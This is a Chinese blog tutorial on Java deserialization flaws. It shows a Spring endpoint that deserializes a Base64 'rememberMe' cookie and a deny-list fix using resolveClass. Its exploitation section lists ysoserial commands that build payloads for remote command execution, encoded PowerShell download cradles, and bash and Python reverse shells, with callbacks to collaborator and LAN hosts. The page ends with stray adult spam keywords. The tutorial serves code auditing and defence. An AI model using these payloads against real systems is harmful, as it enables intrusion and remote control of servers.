<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    JAVA代碼審計之java反序列化

    VSole2022-09-24 07:31:04

    漏洞原理 

    Serialization(序列化):將java對象以一連串的字節保存在磁盤文件中的過程,也可以說是保存java對象狀態的過程。

    deserialization(反序列化):將保存在磁盤文件中的java字節碼重新轉換成java對象稱為反序列化。

    Java程序使用ObjectInputStream對象的readObject方法將反序列化數據轉換為java對象。但當輸入的反序列化的數據可被用戶控制,那么攻擊者即可通過構造惡意輸入,讓反序列化產生非預期 的對象,在此過程中執行構造的任意代碼。

    漏洞代碼示例

    ......//讀取輸入流,并轉換對象InputStream in=request.getInputStream();ObjectInputStream ois = new ObjectInputStream(in);//恢復對象ois.readObject();ois.close();
    Java程序使用ObjectInputStream對象的readObject方法將反序 列化數據轉換為java對象。但當輸入的反序列化的數據可被用戶控 制,那么攻擊者即可通過構造惡意輸入,讓反序列化產生非預期的 對象,在此過程中執行構造的任意代碼。
    

    核心代碼:

    /** * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 * Add the result to rememberMe cookie. * <p> * http://localhost:8080/deserialize/rememberMe/vuln */@RequestMapping("/rememberMe/vuln")public String rememberMeVul(HttpServletRequest request)        throws IOException, ClassNotFoundException {
        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
        if (null == cookie) {        return "No rememberMe cookie. Right?";    }
        String rememberMe = cookie.getValue();    byte[] decoded = Base64.getDecoder().decode(rememberMe);
        ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);    ObjectInputStream in = new ObjectInputStream(bytes);    in.readObject();    in.close();
        return "Are u ok?";}
    代碼相對來說也比較簡單使用Java程序中類ObjectInputStream的 readObject方法被用來將數據流反序列化為對象,如果流中的對象 是class,則它的ObjectStreamClass描述符會被讀取,并返回相應 的class對象,ObjectStreamClass包含了類的名稱及 serialVersionUID。
    

     利用方式  

    使用ysoserial.jar生成payload

    jjava -jar ysoserial.jar CommonsCollections5 "cmd /c calc" | base64 -w0  rememberMe=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMam...
    

    訪問頁面 :http://127.0.0.1:8080/deserialize/rememberMe/vuln

    ysoserial.jar是java反序列化工具集。

    下載地址:https://github.com/angelwhu/ysoserial

    ysoserial使用poc文檔:

    https://book.hacktricks.xyz/pentesting-web/deserialization#java-http

    # PoC to make the application perform a DNS reqjava -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
    # PoC RCE in Windows# Pingjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload# Time, I noticed the response too longer when this was usedjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload# Create Filejava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload# DNS requestjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"# HTTP request (+DNS)java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0# Reverse Shell## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
    #PoC RCE in Linux# Pingjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload # Time## Using time in bash I didn't notice any difference in the timing of the response# Create filejava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload# DNS requestjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"# HTTP request (+DNS)java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payloadjava -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"# Reverse shell## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
    # Base64 encode payload in base64base64 -w0 payload
    

     修復方式 

    修復方式是通過Hook resolveClass來校驗反序列化的類。

    序列化數據結構可以了解到包含了類的名稱及serialVersionUID 的ObjectStreamClass描述符在序列化對象流的前面位置,且在 readObject反序列化時首先會調用resolveClass讀取反序列化的 類名,所以這里通過重寫ObjectInputStream對象的 resolveClass方法即可實現對反序列化類的校驗。這個方法最早 是由IBM的研究人員Pierre Ernst在2013年提出《Look-ahead Java deserialization》

     修復代碼  

    /** * Check deserialize class using black list. * <p> * http://localhost:8080/deserialize/rememberMe/security */@RequestMapping("/rememberMe/security")public String rememberMeBlackClassCheck(HttpServletRequest request)        throws IOException, ClassNotFoundException {
        Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
        if (null == cookie) {        return "No rememberMe cookie. Right?";    }    String rememberMe = cookie.getValue();    byte[] decoded = Base64.getDecoder().decode(rememberMe);
        ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
        try {        AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException        in.readObject();        in.close();    } catch (InvalidClassException e) {        logger.info(e.toString());        return e.toString();    }
        return "I'm very OK.";}
    

     跟入后對應代碼 

    /** * 只允許反序列化SerialObject class * * 在應用上使用黑白名單校驗方案比較局限,因為只有使用自己定義的AntObjectInputStream類,進行反序列化才能進行校驗。 * 類似fastjson通用類的反序列化就不能校驗。 * 但是RASP是通過HOOK java/io/ObjectInputStream類的resolveClass方法,全局的檢測白名單。 * */@Overrideprotected Class<?> resolveClass(final ObjectStreamClass desc)        throws IOException, ClassNotFoundException{    String className = desc.getName();
        // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject    logger.info("Deserialize class name: " + className);
        String[] denyClasses = {"java.net.InetAddress",                            "org.apache.commons.collections.Transformer",                            "org.apache.commons.collections.functors"};
        for (String denyClass : denyClasses) {        if (className.startsWith(denyClass)) {            throw new InvalidClassException("Unauthorized deserialization attempt", className);        }    }
        return super.resolveClass(desc);}
    
    cookie序列化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Laravel 是一個廣泛使用的開源 PHP Web 框架。它可用于相對輕松地創建復雜的 Web 應用程序,并在許多流行的項目中使用。
    01目錄掃描分析代碼這是一道很好反序列化字符串溢出的題目,首先打開容器看到這是一個上傳點先進行目錄掃描,
    強網杯-WriteUp
    2022-08-02 08:02:30
    然后使用 admin/123登錄管理員賬戶即可,登錄后存在購買頁面,經過測試,使用如下 payload 可以繞過檢查,再訪問主頁面即可獲得 flag
    序列化的核心思維旨在,將A變成B,最后再從B還原回A。 總之,在一些條件苛刻或者變化無常的環境與需求中,產生了這種靈活的可逆性的B的中間體。 理解不安全反序列化的最好方法是了解不同的編程語言如何實現序列化和反序列化。這里的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進制形式hashmap樹型等其他數據結構里的序列化中間體)。
    為解決實驗室,編輯會話cookie中的序列化對象以利用此漏洞并獲得管理權限。然后,刪除 Carlos 的帳戶。您可以使用以下憑據登錄自己的帳戶:wiener:peter解決方案此實驗與權限提升有關,我們使用bp抓包,重點關注cookie1.登錄,查看我的賬戶頁面,bp發現cookie內容是序列化的。在Repeater中替換cookie,已經有了admin權限。
    HW藍隊初級面試總結
    2022-10-12 07:00:02
    一、sql注入原理、分類、繞過原理:產生sql注入漏洞主要因為沒有對接受到的參數進行過濾、驗證和處理直接拼接到了sql語句中,然后直接執行該sql語句,這樣就會導致惡意用戶傳入一些精心構造的sql代碼,與后臺sql語句拼接后形成完整的sql語句執行,達到攻擊者的目的。
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    本文主要以拋出問題的方式,努力尋找在實際調試過程中遇到問題的真實答案,最后結合前輩們總結的知識點也用實踐檢驗了知識點,特此記錄。
    打進內網以后的過程沒有繼續深入搞,具體原因大家懂的,前期打點,開始的想法是爆破個弱口令的,弱口令爆破一圈沒有找到有用的賬戶
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类